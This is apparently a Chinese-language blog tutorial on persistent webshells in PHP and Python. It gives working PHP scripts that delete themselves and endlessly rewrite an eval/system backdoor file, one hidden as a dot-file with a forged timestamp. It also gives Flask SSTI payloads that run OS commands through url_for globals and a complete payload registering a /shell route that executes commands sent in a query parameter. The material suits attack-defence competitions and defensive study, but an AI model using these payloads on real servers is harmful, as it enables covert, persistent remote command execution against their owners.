WebShell④python和php的記憶體馬

語言: CN / TW / HK

前言

(spring實在太長,還在學習,所以先寫這個了)

上幾篇講了java各種情況下的記憶體馬,那python,php這些,是否也存在記憶體馬?答案是肯定的,而且因為語言特性,不想java一樣複雜。

PHP記憶體馬

PHP記憶體馬想必大家都不陌生,線上下AWD中是常用手段之一。在蟻劍中也有專門的外掛可以一鍵注入記憶體馬。原理也很簡單,想對於Java可以直接把整個shell寫入記憶體,php記憶體馬的實現則是將一個木馬反覆寫入,達到無法刪除的目的。

<?php
ignore_user_abort(true); //設定客戶端斷開連線時是否中斷指令碼的執行
set_time_limit(0); //設定指令碼最大執行時間linux下可能不大好用
unlink(__FILE__); //刪除自身
$file = 'shell.php';
$code = '<?php @eval($_POST["cmd"]);?>';
while (1) {
file_put_contents($file, $code);//惡意程式碼
usleep(5000); //延遲執行可有可無
}
?>

亦或者是這樣

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '/var/www/dvwa/.ski12.php';
    $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
    while (1) {
        file_put_contents($file, $code);
        system('touch -m -d "2018-12-01 09:10:12" .ski12.php');
        usleep(5000);
    }
?>

本質上原理是不變大,執行死迴圈,然後刪除自身。但實際上這樣做還是會有檔案落地,只是管理員刪不掉、刪不完罷了。我們也可以用利用fastcgi對php攻擊執行命令,但這樣是否算一個駐留wenshell還有待爭議。

python記憶體馬

我們常用的python框架有django、flask。兩者都可能存在ssti漏洞。

在JAVA記憶體馬中,實現最簡單的記憶體馬在於tomcat的路由機制filter。那我們想在python中實現記憶體馬,首先要想是否能在python中動態註冊路由。

python註冊路由的實際方式為 self.add_url_rule()

self.add_url_rule的三個引數:

  1. url
    與app.route()的第一個引數一樣。必須以 / 開始
  2. endpoint
    站點,使用url_for進行反轉時,這個裡面傳入的第一個引數時endpoint的值。url_for反轉是通過檢視函式名得到路徑,所以若不指定該值,則預設值為函式名
  3. view_func
    方法。只需要寫方法名(也可以為匿名引數),如果使用方法名不要加括號,加括號表示將函式的返回值傳給了view_func引數了,程式就會直接報錯

app.add_url_rule('/index/',endpoint='index',view_func=index)

flask context

新增路由成功,那我們要做一個webshell,關鍵在於view_func。view_func可以菜農匿名函式的方式,該函式要實現獲取引數值、執行命令、返回結果。

這裡要看一下python的上下文機制

當一個網頁請求後,會例項化一個Request Context。在python中分出了兩種上下文,請求上下文(request context)和應用上下文(session context)。一個請求上下文中封裝了請求的資訊。

而上下文的結構是運用了一個Stack的棧結構,也就是說它擁有一個棧所擁有的全部特性。

request context例項化後,它會被push到棧_request_ctx_stack中,那我們可以通過獲取棧頂元素的方法來獲取當前的請求。

Request=_request_ctx_stac.top

構造webshell

python內建了函式url_for,可以利用這個函式尋找可用模組,達到命令執行

{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

那現在就能構造出webshell了

url_for.__globals__['__builtins__']['eval'](
  "app.add_url_rule('/shell', 'shell', lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

使用ssti打payload後訪問 /shell?cmd= 即可執行命令